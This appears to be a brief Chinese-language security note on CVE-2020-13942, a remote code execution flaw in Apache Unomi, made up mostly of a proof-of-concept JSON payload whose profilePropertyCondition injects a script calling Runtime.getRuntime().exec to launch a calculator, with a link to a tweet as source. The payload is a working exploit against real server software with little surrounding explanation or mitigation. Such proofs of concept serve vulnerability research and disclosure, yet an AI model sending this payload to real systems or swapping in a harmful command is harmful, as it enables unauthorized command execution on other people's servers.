CVE-2020-13942 Apache Unomi 远程代码执行.md

387 B / 2021-05-21 09:14:38

    # CVE-2020-13942 Apache Unomi 远程代码执行


PoC：

```json
{"filters":[{"id" : "pyn3rd","filters": [{"condition": {"parameterValues": {"pyn3rd": "script::Runtime.getRuntime().exec('open -a Calculator')"},"type":"profilePropertyCondition"}}]}],"sessionId": "pyn3rd"}
```

![](media/16097302096726/16097302307813.jpg)


ref：

https://twitter.com/pyn3rd/status/1328920545442680837